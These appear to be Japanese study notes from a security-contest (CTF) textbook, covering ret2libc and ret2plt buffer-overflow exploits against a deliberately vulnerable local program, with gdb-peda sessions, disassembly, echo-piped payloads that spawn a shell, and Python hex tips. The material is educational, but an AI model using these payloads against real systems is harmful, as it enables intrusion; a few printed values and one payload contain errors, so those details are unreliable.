セキュリティコンテストチャレンジブック[ret2libc]

ret2libc の後にもう1度関数を呼ぶ

とりあえずメモ

rp++ で pop している場所を探す。

$ rp -f bof3 -r 1 | grep pop
0x0804855f: pop ebp ; ret  ;  (1 found)
0x08048339: pop ebx ; ret  ;  (1 found)
0x08048586: pop ebx ; ret  ;  (1 found)

どれを使っても同じなので、 [0x0804855f] を使う。

gdb で system 、exitの位置を確認

$2 = {<text variable, no debug info>} 0xf7e54cd0 <system> # system のアドレスを取得
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xf7e47ec0 <exit>   # exit のアドレスを取得

以下から抜粋した。

$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484a0
gdb-peda$ r
Starting program: /media/sf_mnt-host/ctfCharrengeBook/bof3 
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xf7fbc000 --> 0x1a6da8 
ECX: 0x942e3962 
EDX: 0xffffd7b4 --> 0xf7fbc000 --> 0x1a6da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd788 --> 0x0 
ESP: 0xffffd788 --> 0x0 
EIP: 0x80484a0 (<main+3>: and    esp,0xfffffff0)
[-------------------------------------code-------------------------------------]
   0x8048498 <frame_dummy+40>:    jmp    0x8048410 <register_tm_clones>
   0x804849d <main>:  push   ebp
   0x804849e <main+1>:    mov    ebp,esp
=> 0x80484a0 <main+3>: and    esp,0xfffffff0
   0x80484a3 <main+6>:    sub    esp,0x30
   0x80484a6 <main+9>:    mov    DWORD PTR [esp+0x4],0x804a060
   0x80484ae <main+17>:   mov    DWORD PTR [esp],0x8048590
   0x80484b5 <main+24>:   call   0x8048350 <printf@plt>
[------------------------------------stack-------------------------------------]
00:0000| esp ebp 0xffffd788 --> 0x0 
01:0004|         0xffffd78c --> 0xf7e2ea63 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
02:0008|         0xffffd790 --> 0x1 
03:0012|         0xffffd794 --> 0xffffd824 --> 0xffffd9b1 ("/media/sf_mnt-h"...)
04:0016|         0xffffd798 --> 0xffffd82c --> 0xffffd9da ("XDG_VTNR=7")
05:0020|         0xffffd79c --> 0xf7feacea (add    ebx,0x12316)
06:0024|         0xffffd7a0 --> 0x1 
07:0028|         0xffffd7a4 --> 0xffffd824 --> 0xffffd9b1 ("/media/sf_mnt-h"...)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x080484a0 in main ()
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e54cd0 <system> # system のアドレスを取得
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xf7e47ec0 <exit>   # exit のアドレスを取得

以前使った以下を改造する。(ダミーでBBBB とした箇所などを埋めていく)

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x4c\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3 
buffer: 0x804a060

\xd0\x4c\xe5\xf7 # main 関数のリターンアドレス(0xf7e54cd0 ) \x5f\x85\x04\x08 # system のリターンアドレス(さっきの 0x0804855f: pop ebp ; ret ; (1 found)) \x60\xa0\x04\x08 # system の引数1 (変数 buffer のアドレス) \xc0\x7e\xe4\xf7 # 2つ目の関数(exit)のアドレス \x42\x42\x42\x42 # exit のリターンアドレス(ダミー) \x00\x00\x00\x00 # exit の引数(0)

1行で表すと

\xd0\x4c\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\xc0\x7e\xe4\xf7\x42\x42\x42\x42\x00\x00\x00\x00

となる。96文字。

これをbof3に食べさせると、 segmentation fault しない。

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x4c\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\xc0\x7e\xe4\xf7\x42\x42\x42\x42\x00\x00\x00\x00'; cat) | ./bof3
buffer: 0x804a060
ls
bof3  bof3.c
exit

以上。

CTFに使いそうな小技[Python]

よく使うのに忘れがちなのでメモしておく。

実験

>>> print 'AAAA'.encode('hex') #Ascciiを16進数表記にする
41414141
>>> int('41414141',16) # 16進数を10進数に変換
1094795585

Ascii文字列を16進表記

>>> import binascii
>>> binascii.hexlify('hoge')
'686f6765'

Asccii文字列と16進表記の相互変換

※import binasciiしなくても使える

>>> print 'hoge'.encode('hex')
686f6765
>>> print '686f6765'.decode('hex')
hoge

10進数と16進数の相互変換

# 10進数を16進数に変換
>>> hex(10)
'0xa'

# 先頭に0xを付けて出力
>>> '%#x' % 10
'0x1d'

# 先頭に0xを付けずに出力
>>> '%x' % 29
'1d'

# 16進数を10進数に変換

>>> int('41414141',16)
1094795585
>>> int('0x41414141',16) # [0x]を付けても付けなくても結果は同じだった
1094795585

セキュリティコンテストチャレンジブック[エクスプロイト(ret2plt)]

ret2plt(Return to Procedure Linkage Table)の やり方。
動作検証してみた。

OS: Ubuntu 14.04 64bit

PLTに書かれた短いコード片を関数として呼び出すと、動的リンクされたライブラリのアドレスを解決してライブラリ内の関数を実行してくれるらしい。

ret2plt の準備

peda で50バイトのパターン文字を生成し、bof3 の入力とする。

gdb
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/user1/Desktop/work/bof3 
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
[-------------------------------------------------------------------------------------registers--------------------------------------------------------------------------------------]
EAX: 0x0 
EBX: 0xf7fbc000 --> 0x1a6da8 
ECX: 0xffffd7a0 --> 0xa4162 (b'bA\n')
EDX: 0x804a090 --> 0xa4162 (b'bA\n')
ESI: 0x0 
EDI: 0x0 
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffd7a0 --> 0xa4162 (b'bA\n')
EIP: 0x41414641 (b'AFAA')
[----------------------------------------------------------------------------------------code----------------------------------------------------------------------------------------]
Invalid $PC address: 0x41414641
[---------------------------------------------------------------------------------------stack----------------------------------------------------------------------------------------]
00:0000| ecx esp 0xffffd7a0 --> 0xa4162 (b'bA\n')
01:0004|         0xffffd7a4 --> 0xffffd834 --> 0xffffd9cd ("/home/user1/Des"...)
02:0008|         0xffffd7a8 --> 0xffffd83c --> 0xffffd9eb ("XDG_VTNR=7")
03:0012|         0xffffd7ac --> 0xf7feacea (add    ebx,0x12316)
04:0016|         0xffffd7b0 --> 0x1 
05:0020|         0xffffd7b4 --> 0xffffd834 --> 0xffffd9cd ("/home/user1/Des"...)
06:0024|         0xffffd7b8 --> 0xffffd7d4 --> 0x33df8213 
07:0028|         0xffffd7bc --> 0x804a01c --> 0xf7e2e970 (<__libc_start_main>:  push   ebp)
[------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()

EIP の値が AFAA なので何文字目からはじまるか調べる。

gdb-peda$ patto AFAA
AFAA found at offset: 44

main 関数のアドレスは 0804849d だった。

objdump -d --no -M intel bof3 
0804849d <main>:
 804849d:       push   ebp
 804849e:       mov    ebp,esp
 80484a0:       and    esp,0xfffffff0
 80484a3:       sub    esp,0x30
 80484a6:       mov    DWORD PTR [esp+0x4],0x804a060
 80484ae:       mov    DWORD PTR [esp],0x8048590
 80484b5:       call   8048350 <printf@plt>
 80484ba:       mov    eax,ds:0x804a040
 80484bf:       mov    DWORD PTR [esp+0x8],eax
 80484c3:       mov    DWORD PTR [esp+0x4],0x80
 80484cb:       lea    eax,[esp+0x10]
 80484cf:       mov    DWORD PTR [esp],eax
 80484d2:       call   8048360 <fgets@plt>
 80484d7:       lea    eax,[esp+0x10]
 80484db:       mov    DWORD PTR [esp+0x4],eax
 80484df:       mov    DWORD PTR [esp],0x804a060
 80484e6:       call   8048370 <strcpy@plt>
 80484eb:       mov    eax,0x0
 80484f0:       leave  
 80484f1:       ret    
 80484f2:       xchg   ax,ax
 80484f4:       xchg   ax,ax
 80484f6:       xchg   ax,ax
 80484f8:       xchg   ax,ax
 80484fa:       xchg   ax,ax
 80484fc:       xchg   ax,ax
 80484fe:       xchg   ax,ax

先ほど確認した入力文字の44文字目から main 関数のアドレス[0804849d] をセットしてecho したものをbof3に食べさせる。 main 関数が2回実行され(2回目はEIPを制御して実行)、bufferの値が出力される。

$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3 
buffer: 0x804a060
buffer: 0x804a060
zsh: done                              echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | 
zsh: segmentation fault (core dumped)  ./bof3

ret2plt を実行

.plt セクションの内容を確認 printf@plt が 08048350 にある

$ objdump -d -M intel -j .plt --no bof3

bof3:     ファイル形式 elf32-i386


セクション .plt の逆アセンブル:

08048340 <printf@plt-0x10>:
 8048340:   push   DWORD PTR ds:0x804a004
 8048346:   jmp    DWORD PTR ds:0x804a008
 804834c:   add    BYTE PTR [eax],al
    ...

08048350 <printf@plt>:
 8048350:   jmp    DWORD PTR ds:0x804a00c
 8048356:   push   0x0
 804835b:   jmp    8048340 <_init+0x28>

08048360 <fgets@plt>:
 8048360:   jmp    DWORD PTR ds:0x804a010
 8048366:   push   0x8
 804836b:   jmp    8048340 <_init+0x28>

08048370 <strcpy@plt>:
 8048370:   jmp    DWORD PTR ds:0x804a014
 8048376:   push   0x10
 804837b:   jmp    8048340 <_init+0x28>

08048380 <__gmon_start__@plt>:
 8048380:   jmp    DWORD PTR ds:0x804a018
 8048386:   push   0x18
 804838b:   jmp    8048340 <_init+0x28>

08048390 <__libc_start_main@plt>:
 8048390:   jmp    DWORD PTR ds:0x804a01c
 8048396:   push   0x20
 804839b:   jmp    8048340 <_init+0x28>

buffer のアドレスは 0804a060 だった。

$ readelf -s bof3 | grep buffer
    54: 0804a060    32 OBJECT  GLOBAL DEFAULT   25 buffer

echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\x08BBBB\x60\xa0\x07\x08' | ./bof3 

echo A43文字 + [printf@plt のアドレス] + [関数呼び出し後のダミーのリターンアドレス BBBB] + [buffer のアドレス] した結果をbof3に食べさせる。

$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08'| ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP�BBBB`�
zsh: done                              echo  | 
zsh: segmentation fault (core dumped)  ./bof3

3行目にprintf の結果が表示された。

所感

これで、plt内の printf を呼び出すことができた。 結構面白い。

セキュリティコンテストチャレンジブック

セキュリティコンテストチャレンジブックの内容を試してみた。

// bof.c
/*
gcc -m32 -fno-stack-protector -o bof bof.c
python -c 'print("CTF for Beginners")' | ./bof
python -c 'print("A"*128)' | ./bof

python -c 'print("A"*128)' | strace -i ./bof
*/

#include <stdio.h>
int main(void) {
    char buffer[100];
    fgets(buffer,128,stdin);
    return 0;
}